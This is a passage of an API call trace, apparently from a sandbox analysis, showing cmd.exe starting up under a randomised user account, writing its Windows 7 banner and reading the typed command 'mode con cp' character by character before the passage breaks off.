lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0038.795] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a48f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0038.795] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0038.795] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0038.795] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0038.796] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0038.796] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0038.796] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0038.796] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0038.796] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0038.796] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0038.796] GetProcessHeap () returned 0x270000 [0038.796] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2894f0 | out: hHeap=0x270000) returned 1 [0038.796] GetEnvironmentStringsW () returned 0x288a60* [0038.796] GetProcessHeap () returned 0x270000 [0038.796] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xa94) returned 0x28ac30 [0038.796] FreeEnvironmentStringsW (penv=0x288a60) returned 1 [0038.796] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a48f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.796] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a48f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0038.796] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0038.796] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0038.796] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0038.796] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0038.796] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0038.796] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0038.796] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0038.796] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0038.796] GetProcessHeap () returned 0x270000 [0038.796] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x5c) returned 0x28b6d0 [0038.796] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x19fa60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.797] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x19fa60, lpFilePart=0x19fa40 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x19fa40*="Desktop") returned 0x25 [0038.797] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0038.797] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x19f770 | out: lpFindFileData=0x19f770*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x28b740 [0038.797] FindClose (in: hFindFile=0x28b740 | out: hFindFile=0x28b740) returned 1 [0038.797] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x19f770 | out: lpFindFileData=0x19f770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x28b740 [0038.797] FindClose (in: hFindFile=0x28b740 | out: hFindFile=0x28b740) returned 1 [0038.797] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0038.797] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x19f770 | out: lpFindFileData=0x19f770*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc571bd10, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xc571bd10, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x28b740 [0038.797] FindClose (in: hFindFile=0x28b740 | out: hFindFile=0x28b740) returned 1 [0038.797] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0038.797] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0038.797] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0038.797] GetProcessHeap () returned 0x270000 [0038.797] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28ac30 | out: hHeap=0x270000) returned 1 [0038.797] GetEnvironmentStringsW () returned 0x28b740* [0038.798] GetProcessHeap () returned 0x270000 [0038.798] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xae8) returned 0x28c230 [0038.798] FreeEnvironmentStringsW (penv=0x28b740) returned 1 [0038.798] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a49c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.798] GetProcessHeap () returned 0x270000 [0038.798] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28b6d0 | out: hHeap=0x270000) returned 1 [0038.798] GetProcessHeap () returned 0x270000 [0038.798] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x4016) returned 0x28cd20 [0038.798] GetProcessHeap () returned 0x270000 [0038.798] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28cd20 | out: hHeap=0x270000) returned 1 [0038.798] GetConsoleOutputCP () returned 0x1b5 [0038.798] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a49bfe0 | out: lpCPInfo=0x4a49bfe0) returned 1 [0038.798] GetUserDefaultLCID () returned 0x409 [0038.799] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a497b50, cchData=8 | out: lpLCData=":") returned 2 [0038.799] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x19fb70, cchData=128 | out: lpLCData="0") returned 2 [0038.799] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x19fb70, cchData=128 | out: lpLCData="0") returned 2 [0038.799] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x19fb70, cchData=128 | out: lpLCData="1") returned 2 [0038.799] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a4aa740, cchData=8 | out: lpLCData="/") returned 2 [0038.799] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a4aa4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0038.799] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a4aa460, cchData=32 | out: lpLCData="Tue") returned 4 [0038.799] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a4aa420, cchData=32 | out: lpLCData="Wed") returned 4 [0038.799] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a4aa3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0038.799] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a4aa3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0038.799] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a4aa360, cchData=32 | out: lpLCData="Sat") returned 4 [0038.799] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a4aa700, cchData=32 | out: lpLCData="Sun") returned 4 [0038.799] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a497b40, cchData=8 | out: lpLCData=".") returned 2 [0038.799] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a4aa4e0, cchData=8 | out: lpLCData=",") returned 2 [0038.800] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0038.800] GetProcessHeap () returned 0x270000 [0038.800] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x20c) returned 0x2895c0 [0038.800] GetConsoleTitleW (in: lpConsoleTitle=0x2895c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.801] _get_osfhandle (_FileHandle=1) returned 0xf4 [0038.801] GetFileType (hFile=0xf4) returned 0x3 [0038.801] BrandingFormatString () returned 0x2897e0 [0038.806] GetVersion () returned 0x1db10106 [0038.806] _vsnwprintf (in: _Buffer=0x19fce0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x19fc78 | out: _Buffer="6.1.7601") returned 8 [0038.806] _get_osfhandle (_FileHandle=1) returned 0xf4 [0038.806] GetFileType (hFile=0xf4) returned 0x3 [0038.806] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a4a6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0038.806] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a4a6340, nSize=0x2000, Arguments=0x19fc80 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0038.806] _get_osfhandle (_FileHandle=1) returned 0xf4 [0038.806] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a49c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0038.806] WriteFile (in: hFile=0xf4, lpBuffer=0x4a49c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x19fc08, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesWritten=0x19fc08*=0x24, lpOverlapped=0x0) returned 1 [0038.806] _vsnwprintf (in: _Buffer=0x4a4a6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x19fca8 | out: _Buffer="\r\n") returned 2 [0038.806] _get_osfhandle (_FileHandle=1) returned 0xf4 [0038.806] GetFileType (hFile=0xf4) returned 0x3 [0038.806] _get_osfhandle (_FileHandle=1) returned 0xf4 [0038.806] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a49c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0038.806] WriteFile (in: hFile=0xf4, lpBuffer=0x4a49c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x19fc78, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesWritten=0x19fc78*=0x2, lpOverlapped=0x0) returned 1 [0038.806] _vsnwprintf (in: _Buffer=0x4a4a6340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x19fca8 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0038.806] _get_osfhandle (_FileHandle=1) returned 0xf4 [0038.806] GetFileType (hFile=0xf4) returned 0x3 [0038.806] _get_osfhandle (_FileHandle=1) returned 0xf4 [0038.806] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a49c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0038.806] WriteFile (in: hFile=0xf4, lpBuffer=0x4a49c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x19fc78, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesWritten=0x19fc78*=0x3f, lpOverlapped=0x0) returned 1 [0038.807] _vsnwprintf (in: _Buffer=0x4a4a6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x19fca8 | out: _Buffer="\r\n") returned 2 [0038.807] _get_osfhandle (_FileHandle=1) returned 0xf4 [0038.807] GetFileType (hFile=0xf4) returned 0x3 [0038.807] _get_osfhandle (_FileHandle=1) returned 0xf4 [0038.807] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a49c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0038.807] WriteFile (in: hFile=0xf4, lpBuffer=0x4a49c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x19fc78, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesWritten=0x19fc78*=0x2, lpOverlapped=0x0) returned 1 [0038.807] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e30000 [0038.807] GetProcAddress (hModule=0x76e30000, lpProcName="CopyFileExW") returned 0x76e423d0 [0038.807] GetProcAddress (hModule=0x76e30000, lpProcName="IsDebuggerPresent") returned 0x76e38290 [0038.807] GetProcAddress (hModule=0x76e30000, lpProcName="SetConsoleInputExeNameW") returned 0x76e417e0 [0038.807] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.807] GetFileType (hFile=0xe8) returned 0x3 [0038.807] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0038.808] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x19fad0 | out: TokenHandle=0x19fad0*=0x0) returned 0xc000007c [0038.808] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x19fad0 | out: TokenHandle=0x19fad0*=0x50) returned 0x0 [0038.808] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x19fae0, TokenInformationLength=0x4, ReturnLength=0x19fae8 | out: TokenInformation=0x19fae0, ReturnLength=0x19fae8) returned 0x0 [0038.808] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x19fae8, TokenInformationLength=0x4, ReturnLength=0x19fae0 | out: TokenInformation=0x19fae8, ReturnLength=0x19fae0) returned 0x0 [0038.808] NtClose (Handle=0x50) returned 0x0 [0038.808] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x19fab0, nSize=0x0, Arguments=0x19fab8 | out: lpBuffer="韠(") returned 0xf [0038.808] GetProcessHeap () returned 0x270000 [0038.808] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x218) returned 0x271ab0 [0038.808] GetConsoleTitleW (in: lpConsoleTitle=0x19fb00, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.810] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0038.810] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0038.810] GetProcessHeap () returned 0x270000 [0038.810] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x271ab0 | out: hHeap=0x270000) returned 1 [0038.810] LocalFree (hMem=0x2897e0) returned 0x0 [0038.811] GetProcessHeap () returned 0x270000 [0038.811] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28aa10 | out: hHeap=0x270000) returned 1 [0038.811] _vsnwprintf (in: _Buffer=0x4a4a6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x19f7e8 | out: _Buffer="\r\n") returned 2 [0038.811] _get_osfhandle (_FileHandle=1) returned 0xf4 [0038.811] GetFileType (hFile=0xf4) returned 0x3 [0038.811] _get_osfhandle (_FileHandle=1) returned 0xf4 [0038.811] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a49c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0038.811] WriteFile (in: hFile=0xf4, lpBuffer=0x4a49c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x19f7b8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesWritten=0x19f7b8*=0x2, lpOverlapped=0x0) returned 1 [0038.811] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a48f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0038.811] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a49c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.811] _vsnwprintf (in: _Buffer=0x4a48eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x19f7f8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0038.811] _vsnwprintf (in: _Buffer=0x4a48ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x19f7f8 | out: _Buffer=">") returned 1 [0038.811] _get_osfhandle (_FileHandle=1) returned 0xf4 [0038.811] GetFileType (hFile=0xf4) returned 0x3 [0038.811] _get_osfhandle (_FileHandle=1) returned 0xf4 [0038.811] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a49c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0038.811] WriteFile (in: hFile=0xf4, lpBuffer=0x4a49c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x19f7e8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesWritten=0x19f7e8*=0x26, lpOverlapped=0x0) returned 1 [0038.811] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.811] GetFileType (hFile=0xe8) returned 0x3 [0038.812] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.812] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.812] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0038.812] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0038.812] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.812] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.813] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0038.813] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0038.813] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.813] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.813] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0038.813] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0038.813] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.813] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.813] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0038.813] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0038.813] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.813] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.813] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0038.813] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0038.813] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.813] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.813] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0038.813] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0038.813] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.813] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.813] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0038.813] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0038.813] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.813] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.813] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0038.813] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0038.813] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.813] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.814] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0038.814] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0038.814] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.814] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.814] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0038.814] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0038.814] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.814] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.814] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0038.814] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0038.814] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.814] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0038.814] ReadFile (in: hFile=0xe8, lpBuffer=0x4a49c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x19fae8, lpOverlapped=0x0 | out: lpBuffer=0x4a49c320*, lpNumberOfBytesRead=0x19fae8*=0x1, lpOverlapped=0x0) returned 1 [0038.814] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a49c320, cbMultiByte=1, lpWideCharStr=0x4a49e336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0038.814] _get_osfhandle (_FileHandle=0) returned 0xe8 [0038.814] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, 